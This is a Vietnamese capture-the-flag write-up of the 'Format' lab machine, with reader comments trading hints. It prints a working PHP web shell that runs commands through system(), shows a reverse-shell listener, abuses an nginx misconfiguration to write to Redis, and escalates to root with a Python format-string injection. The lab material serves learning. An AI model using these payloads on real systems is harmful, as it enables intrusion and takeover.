Enumeration
Zenmap:
Truy cập 2 website trên port 80 và 3000, tôi thấy chúng được redirect sang 2 domain: app.microblog.htb và microblog.htb:3000
Thêm domain vào file hosts.
app.microblog.htb
Đây dường như là 1 trang web tạo blog, .... (ha ha).
Sao giống điều gì đó nhỉ? Oh, mình cũng là người viết blog. (ha ha ha)
Tạo thử một user và một website:
Tôi muốn khóc bây giờ, website không cho tôi đặt tên dryu8. Hu hu.Sau khi tạo xong website, tại đây tôi thấy có có trang sử website và xem website. Truy cập bào Edit Site
Tại đây tôi có thể chính sửa giao diện website của riêng mình. Nhưng chưa tìm thấy gì có thể khai thác được ở đây. Chuyển sang website thứ 2microblog.htb:3000
Đây là 1 trang gitea. Kiểm tra source code. Tôi thấy ở đây tồn tại sourcode của trang chính và 1 trang có tên sunny Đây là website được tạo giống như website mà tôi vừa tạo. Đọc file index.php của sunny và index.php trong edit của sunny tôi thấy có đoạn code sau.LFI
Exploit Misconfigurations
Quay trờ lại Gitea. Đọc source code trong file edit/index.php, tôi thấy:
Dường như tôi cần phải nâng cấp user của mình lên pro để có thể sử dụng được folder uploads. Chắc sau đó tôi cần upload file shell lên đây.Từ cấu hình sai trong nginx tôi có thể ghi đè user dryu của tôi thành pro.
PS D:\thehackbox\Machines\Format> curl.exe -X "<command>" http://microblog.htb/static/unix:<local unix sockets>:<username>%20<key>%20true%20/dryu
<html>
<head><title>502 Bad Gateway</title></head>
<body>
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>
PS D:\thehackbox\Machines\Format>
Gaining access www-data
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
Kiểm thực hiện một vài reverse shell và tôi đã có được shell:
PS D:\thehackbox\Machines\Format> ncat.exe -l 8888
www-data@format:~/microblog/dryu/uploads$ whoami
whoami
www-data
www-data@format:~/microblog/dryu/uploads$
Gaining access cooper
Privilege escalation
PS D:\thehackbox\Machines\Format> ssh cooper@microblog.htb
cooper@microblog.htb's password:
cooper@format:~$ ls
user.txt
cooper@format:~$ cat user.txt
********************************
cooper@format:~$ sudo -l
[sudo] password for cooper:
Matching Defaults entries for cooper on format:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
cooper@format:~$ cat /usr/bin/license
#!/usr/bin/python3
import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.fernet import Fernet
import random
import string
from datetime import date
import redis
import argparse
import os
import sys
class License():
def __init__(self):
chars = string.ascii_letters + string.digits + string.punctuation
self.license = ''.join(random.choice(chars) for i in range(40))
self.created = date.today()
if os.geteuid() != 0:
print("")
print("Microblog license key manager can only be run as root")
print("")
sys.exit()
parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
f = Fernet(encryption_key)
l = License()
#provision
if(args.provision):
user_profile = r.hgetall(args.provision)
if not user_profile:
print("")
print("User does not exist. Please provide valid username.")
print("")
sys.exit()
existing_keys = open("/root/license/keys", "r")
all_keys = existing_keys.readlines()
for user_key in all_keys:
if(user_key.split(":")[0] == args.provision):
print("")
print("License key has already been provisioned for this user")
print("")
sys.exit()
prefix = "microblog"
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
print("")
license_key_encoded = license_key.encode()
license_key_encrypted = f.encrypt(license_key_encoded)
print("Encrypted license key (distribute to customer):")
print("------------------------------------------------------")
print(license_key_encrypted.decode())
print("")
with open("/root/license/keys", "a") as license_keys_file:
license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")
#deprovision
if(args.deprovision):
print("")
print("License key deprovisioning coming soon")
print("")
sys.exit()
#check
if(args.check):
print("")
try:
license_key_decrypted = f.decrypt(args.check.encode())
print("License key valid! Decrypted value:")
print("------------------------------------------------------")
print(license_key_decrypted.decode())
except:
print("License key invalid")
print("")
cooper@format:~$
Toàn bộ source code file license có dòng:license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
Chỉ riêng đòng này có format, trùng mới tên của máy này. Tôi có chút thắc mắc từ lúc đầu liệu cái tên có liên quan gì tới hộp này và nó ở đây, tìm kiếm: (python format string vulnerabilities) Python format string vulnerabilities
Đọc source code tôi thấy có thể chèn code vào username trong redis:
cooper@format:~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> keys *
1) "cooper.dooper"
2) "PHPREDIS_SESSION:rgav6qnrb4ee37mrqvk0cv5887"
3) "dryu"
4) "dryu:sites"
5) "cooper.dooper:sites"
redis /var/run/redis/redis.sock> hset dryu username {<class name>.__init__.__globals__[<variable name>]}
(integer) 0
redis /var/run/redis/redis.sock> exit
cooper@format:~$ sudo /usr/bin/license -p dryu
Plaintext license key:
------------------------------------------------------
microblogb'*******************'{!Y3s'B_U/-(qnc|)=G5)F=CDbY3?\Ptd]F_Yj&Idryudryu
Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABkYPI*****************************************PWrQyeOPapkZik=
cooper@format:~$ su
Password:
root@format:/home/cooper# cat /root/root.txt
********************************
root@format:/home/cooper#
try redis
redis /var/run/redis/redis.sock> hset test username {.__init__.__globals__[]}
(integer) 1
and then sudo -l but get error like below
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
ValueError: unexpected '{' in field name
How to solve it?
Read the source code and find `class name` and `variable name` then replace them.
in your curl command to get a pro account what sock file did you use?
what payload did you use in burp for the LFI?
you can send it to Intruder in Burp and use a simple LFI wordlist.. you will find it
Thank you for a great lesson! however, i am stuck on the "curl.exe -X "HSET" http://microblog.htb/static/unix::%20%20true%20/d" part. I got the LFI, I saw the nginx conf file and I got also 503 like you did but my account is still not a pro account, any hints?
Make sure you have replaced `command`, `sock file`, `username` and `key` correctly.
you should come up with different name for those placeholder
Thx King! Your hint helped me!
pls explain better the redis part is impossible to understand ... socket ? key? which socket? i aint no redis folder on my machine and what key?
Hint: look for it in the source code.
i've been in forum about a unintended method for own machine. Can you write about iw? Is like a race condition.
I know about it, but to do it you need more luck than skill.
You do a good job of showing steps but also removing important info. That way it gives others a chance to dig deeper without full on spoilers. Ty for the write up!
Yeah, I wish I could have done it sooner.
for the upload file it didn't work where should we put out code ?
same question
hint: uploads
same issue, tried multiple technique, can't even get anything but an image to uploaded
As the Master dryu8 said.... hint: don't care about img... ANOTHER HINT: H1
Oi bro, I really like that you stopped giving the answers plain and you include them resources. After the nginx misconfig this machine becomes kinda easy, but seems like the creator got a bit confused on what sort of vuln was trying to create.
Huge thanks <3
I understand the part of the redis where the socket is the one on the source code, but i don't know what key to use. Can you share what's the key you used? THX
look at the source code it's p**
I can't understand this part
PS D:\thehackbox\Machines\Format> curl.exe -X "" http://microblog.htb/static/unix::%20%20true%20/dryu
Do i have to open a "socat UNIX-LISTEN:/tmp/mysocket STDOUT" and get a response? or is it just to bypass the regex?
I know that i have to replace:
Command -> HSET
Local unix sockets -> /tmp/mysocket
username -> my username
key -> ??
Could anyone just help me out undestand how this works, i already found some articles but im missing something
You don't have to open a "socat UNIX-LISTEN:/tmp/mysocket STDOUT", it's already open in the box. study the source and you will see `local unix sockets`.
The HSET command to set the lock and reverse the HGET instruction to get it, it's in the source code.
hint: isPro.
Can you give me a hint, I saw that there is an order.txt file, there are some codes in there, I tried to do it like this url -X "HSET" but it doesn't work http://microblog.htb/static/unix:redis.sock:itachi%20rle1v1hnms%20true%20/itachi
Your url is wrong.
hint: isPro.
Read about how HSET function works and what values need to be shipped: https://redis.io/commands/hset/
Hey all, any hints please to bypass the upload filters? I tried to change the application to image and it didn't work, also try to add byte before but i got an error while trying to upload.
Do not care about img.
Hint: h1
I think they are saying for uploading a php shell file. You can use the LFI with the h1 to read the uploaded shell file but how do you get the actual file to upload given that the Bulletproof library will only upload a image
I think their point was that in order to upload a php shell you need to bypass the filters in Bulletproof. You can use the H1 to load the file and have the php executed but getting the file into the uploads directory is the problem.
hint: id=`path`. It's already in the post.
I don't understand simply in what I mean to insert my user's cookie or the codes that are in order.txt and username I insert mine or Cooper's
why do you try to use cookies? you have LFI vuln, use it
i'm completely lost for root which class and variable i'm i supposed to use??
hey all, first, thank you for the blog!! I am stuck on www-data , tried to run pspy but I don't undersend how to read the ssh file of cooper or copy it with redis-cli, when I tried to connect to redis the terminal just freeze. Please help
Don't use redis-cli in the usual way.
HEY, I NEED SOME HELP TO GET ROOT USER PLEASE, TRIED TO ONLY CLASS NAME IN THE CODE... BUT IDK WHAT VAR SHOULD I CHOOSE, I TRIED A FEW BUT I GOT KEYERROR, HINTS PLEASE?
Ive been looking for hours now, where do I get the key? I can't find anything at all..
Try to change username.
Hint: redis.
hey all, I am stuck on the last part... i got the license key encode and decode ... but know... idk what to do... it's doesn't seem to look like a password... I tried to change to root like you did... didn't work. What am I missing?
hint: read *_encoded.
Hey, I am stuck on the same point and I tried your hint and none, more hints please !
Hi, i'm stuck on the root part. I'm getting this error
Traceback (most recent call last):
File "/usr/bin/license", line 64, in
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
AttributeError: 'NoneType' object has no attribute 'decode'
I have tried every class & variable combination from the source.
Your error occurs when there is no key that redis can get.
Create a username from the same as the first step you create a blog.
Then change the username created with redis.
got the password... plain and coded... but for su do not work....which section i need to use ? i need to decode the coded string ?
You don't need to decode it.
Hey all, Please help me with root . I tried everything… nothing work .. can’t escape …
More hints please ???
same here :( ... i got the license key... but i need to get the secret key i guess.. without luck
hint : PLAY WITH KEYS * ....